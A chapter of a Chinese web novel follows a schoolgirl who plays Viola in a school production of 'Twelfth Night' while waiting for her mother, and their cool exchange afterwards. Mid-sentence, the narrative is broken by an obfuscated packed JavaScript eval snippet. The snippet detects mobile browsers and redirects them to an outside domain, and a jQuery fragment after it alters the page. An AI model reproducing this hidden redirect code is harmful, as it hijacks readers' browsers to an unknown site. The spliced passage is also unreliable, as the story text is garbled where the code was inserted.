校庆日那天，整个南州女中像是提前进入了春天。主楼前挂起了红绸白纱的横幅，“庆祝建校二十周年文艺汇演”几个金漆大字在阳光下闪着光。操场上支起临时舞台，幕布是学校美术组连夜赶制的油彩喷绘，上头画着一只展开双翅的凤凰，那只凤凰高昂着头，。


    家长、校董、学社的嘉宾，甚至还有从市教育厅赶来的督学员，都坐在前排，女中所有班级也整齐排列成席，几百张眼睛一齐望着台上，一时鸦雀无声。


    节目单精致得像请柬，每一页都印着演出者的名字与剧目介绍。最引人注目的那一项是下午五点整的压轴节目：


    莎士比亚戏剧改编·《第十二夜》表演


    ——黎婉芝编排，南州市部分友校学生共同出演。


    后台的布景是借了学校礼堂的帷幕改装的，灯光用的是特别改装的煤气投影器。婉芝正一边踩着裙角在台后快步走动，一边指挥着头饰、服装、队列。罗简靠在镜前把唇膏往嘴上一抹，又撇撇嘴说：“这戏要演砸了，我就把那件玛丽娅的裙子撕了。”


    “你要是都能演砸了，我们就都不用演了。”沈时砚紧张地叹了一口，小声地对罗简说。


    陈蔚青站在角落，看着外头坐得满满当当的观众席，心跳快得不像她。在昨晚的饭桌上母亲答应了会来，虽然那句诺言轻飘飘的，但她知道母亲一向是最信守承诺的人。她扫遍前排，没看到那个熟悉的身影。


    “你妈妈还没来啊？”罗简走过来，低声问。


    她摇了摇头，指尖已经在剧本边缘轻轻摩挲了一圈又一圈。


    “她大概还在路上。”陈蔚青低声说，可声音里却藏不住那点失落。


    “也许是人太多，还没进来呢。”罗简拍拍她的肩，又朝外面探了一眼，“这阵仗我还真没见过，连市里的洋人太太都来了。”


    “别紧张啦。”婉芝从后台绕过来，手里还拎着一串临时换上的羽饰，“你就当她在呢，反正待会儿台下黑压压一片，你也分不清谁是谁。”


    蔚青点点头，却没说话。她知道自己不该介意，可那张椅子空着的样子，在她心里就像一口没合上的琴盖，轻轻震动着。


    演出终于开始了。


    一幕幕节目轮番上场，有学生歌唱，有朗诵，有舞蹈。观众席不时爆发出掌声，台下那些熟悉又陌生的大人们，坐姿端正，表情平静。直到那条写着《第十二夜》的彩带被拉起，全场才像是真的“动”了起来——有人翻起节目单，有人低声议论，有人望向后台方向。


    轮到他们登场了。


    舞台灯“咔哒”一声亮起，幕布缓缓拉开。木头地板在灯光下泛着温润的光泽，像是一层梦境的开始。沈时砚第一个登场，身披西装外套，拄着一根太长的拐杖，脸上那点认真几乎像是某种誓言。他的声音起初略有颤抖，但很快稳住了，撑过了整段奥西诺的开场白。


    接着是黎婉芝，她轻盈地踏上台，一颦一笑都带着奥莉维娅的傲气与迷惘，那种戏谑与庄重交错的气息，像她自己，又像她说过的“浪漫的逃亡”。


    然后轮到陈蔚青。


    是维奥拉登场的第一幕，她站在那束灯光之中，她眼神却微微飘忽，像是一直在寻找什么。


    “但是我可以相信你的心地和你的外表一样好……”她缓缓开口，语调又轻又空，几乎是机械地复述排练时的记忆。


    “请你替我保守秘密，不要把我的真相泄露出去，我以后会重谢你的。”


    她在说“维奥拉”的台词，可脑子里却是“陈蔚青”的事。她想起这些天一次次在饭桌上试探母亲，又一次次咽下话语的那种沉默——她对母亲说“在婉芝家一同学习”，说“只是课业太忙，婉芝一年后就要离开，想多陪陪她……”，真话中混杂着假话，真真假假，她也快分不清了，但她却始终没敢说出口的是——


    “你得帮助我假扮起来，好让我达到我的目的。”她的声音轻轻一顿。就在她念出“目的”那个词的时候，眼神下意识地朝台下一扫。


    还是空的。


    那张椅子，整整空着，从第一幕到这一刻，都没有人来坐。


    她指尖轻微发抖，但台词还是继续往下走。


    “我要去侍候这位公爵，你可以把我送给他作为一个净了身的侍童；也许你会得到些好处的……”她的嗓音慢慢低了下去，像一片落叶擦过舞台的边缘，“我会使计谋，你只须静默。”


    她站在灯下，说着维奥拉的“计谋”，心里却忽然觉得，那些不曾说出口的东西也在戏里露了形，变得明亮又脆弱。


    紧接着蔚青的维奥拉下场，其他人相继登场。蔚青换上一身略大的西装，换下第一幕的裙子，把头发藏在帽子里，以女扮男装的姿态重新登场，她眼神清清冷冷地扫过台下。


    然后是罗简的玛丽娅再登场，她穿着那件略显夸张的长裙，登台时眼神一挑，嘴角噙着一抹几乎称得上是“职业性的微笑”。她站在台上，手中扇子一展一合，语气轻慢，字字带钩，俨然一副“聪明伶俐又不饶人”的模样。


    观众席上响起几声低低的笑声，紧接着是一阵小小的掌声。几位坐在前排的女校老师身子互相交换了一个惊讶的眼神。


    玛丽娅退场，后台的众人都围上去，你一言我一语地夸赞起罗简的表演。只是蔚青不能多做停留，只能朝罗简笑了笑，然后再次上场。


    “……你的主人知道我的意思，我不能爱他，虽然我想他品格很高，知道他很尊贵，很有身份，年轻而纯洁，有很好的名声，慷慨，博学，勇敢，长得又体面；可是我总不能爱他，他老早就已经得到我的回音了。”黎婉芝的奥利维娅叉着腰，活脱脱是一个高贵傲慢的伯爵小姐。


    “要是我也像我主人一样热情地爱着您，也是这样的受苦，这样了无生趣地把生命拖延，我不会懂得您的拒绝是什么意思。”陈蔚青的维奥拉遗憾地回答道。


    “啊……那你预备怎么样呢？”婉芝说完，蔚青按照剧本里写的望向婉芝演的奥莉维娅，她突然察觉到了什么不同。他觉得婉芝的眼神不再只是角色的神情，而像是真正地“在望着她”，微妙得像是带电的空气。


    这一刻，陈蔚青才真正感觉到自己进入了这场戏。


    “我要在您的门前用柳枝筑成一所小屋，不时到府中访谒我的灵魂：我要吟咏着被冷淡的忠诚的爱情的诗篇，不顾夜多么深我要把它们高声歌唱；我要向着回声的山崖呼喊您的名字，使饶舌的风都叫着“奥丽维娅”。啊!您在天地之间将要得不到安静，除非您怜悯了我！”她说完，轻轻倒吸一口气，再次看向观众席。


    就在灯光没能照亮的边缘，她看到了一抹熟悉的影子。


    那个人坐在前排靠左的第二个座位，穿着深色呢料外套，身姿笔挺，眼神却藏在阴影里——


    是她母亲。


    她不知什么时候来的，也许是刚到。她没有表情，只安静地坐着。


    蔚青的心“咚”地跳了一下，她不知道自己为什么突然从心底涌出了一种恐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569298|170413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惧——她赴约了，明明应该是自己…得偿所愿？


    她悬着一颗心演到最后，和罗炽南演的哥哥塞巴斯蒂安相认，然后赢来美好的结局。戏演到最后，灯光悄然收暗，幕布缓缓拉上，全场爆发出一阵热烈掌声。


    这一刻，后台的每个人都屏住了呼吸——不是因为紧张，而是因为他们知道，这一切，完成了。


    “走！”婉芝低声说了一句，“该我们谢幕了。”


    一行六人牵着手，从侧幕缓步走上台。蔚青站在最左边，灯光洒在他们肩头，犹如春日午后最后一缕暖阳。


    他们向观众鞠躬，掌声在脚下翻涌。蔚青站直了身子，鞠了两次躬。等起身时，她目光又不自觉地投向了那个角落——母亲依旧坐在那里，一动未动，像是舞台下的一尊静像。


    灯光落下，他们退场。


    后台一片欢呼，像刚打赢仗的临时军营。黎婉芝帮着罗简拆头饰，嘴里还在念叨什么走位不准。罗炽南蹲在旁边脱靴子，弯腰时差点把腰闪了。


    沈时墨走到罗简面前，认认真真地说了一句：“你演得很好。”


    “哟，沈小少爷，看上人家姑娘啦？”婉芝头也不抬地取笑。


    “不是！”沈时墨涨红了脸，“我只是……只是以为我会是演得最好的，没想到……”


    “你这话说的！”黎婉芝不满地抬头，“除开阿简，我不也比你好吗？”


    “你还是比我差点。”沈时墨立刻还嘴，又认真地对罗简补了一句，“我向来干什么都做得最好，但这次……你确实比我强。”


    “嘿！你这狂妄的小孩！”婉芝佯怒，转头朝沈时砚喊，“你快来管管你弟弟！无法无天了都这小子！”


    “你们几个……”沈时砚好笑地摇头，“行了行了，歇歇吧，今天都很好。”


    陈蔚青没有说话。她静静卸下戏服，动作细致得像在拆掉一层旧梦。换上她的常服，裙角一摆，那一点戏里的维奥拉，也悄无声息地退场了。


    她站了片刻，提起包，轻声从后台走出，穿过人群，穿过铺着彩带的小径，绕到前排那一带。


    她母亲果然还坐在那里，像是特意在等她。


    “妈。”她轻轻唤了一声。


    陈母转过头，看了她一眼，点点头：“演完了？”


    “嗯。”蔚青低声答。


    母女俩并肩走出礼堂，天边染成了一片温柔的金色，光像是落在她们肩膀上的羽毛。


    她心跳得有些快，终于小心翼翼地问：“你觉得……戏怎么样？”


    陈母没有立刻回答，而是抬起头，看着远处天空里的晚霞，好像要从那颜色里挑出一句合适的措辞。


    许久，她才缓缓地说：“挺好的。婉芝那姑娘，是擅长这个。”


    她顿了顿，又不紧不慢地加了一句：“你演得也好。”


    蔚青眼睛微微一亮，刚想说些什么，母亲却忽然笑了一下，语气温和得几乎听不出情绪：“不过——戏就是戏，别太当真了就行。”


    那句“别太当真了”，像一只看不见的小锤子，轻轻敲在蔚青心口最柔软的地方。


    她没有立刻回答，只是站在那里，看着光线从台阶上一寸一寸退去，风从肩头吹过去，仿佛也把台上的掌声一并带远了。


    陈母站起身，把手套重新戴好：“走吧，晚了，风凉了。”


    “……嗯。”


    蔚青低头跟上母亲，背后是刚谢幕过的舞台，和她还没来得及谢幕的那些话语。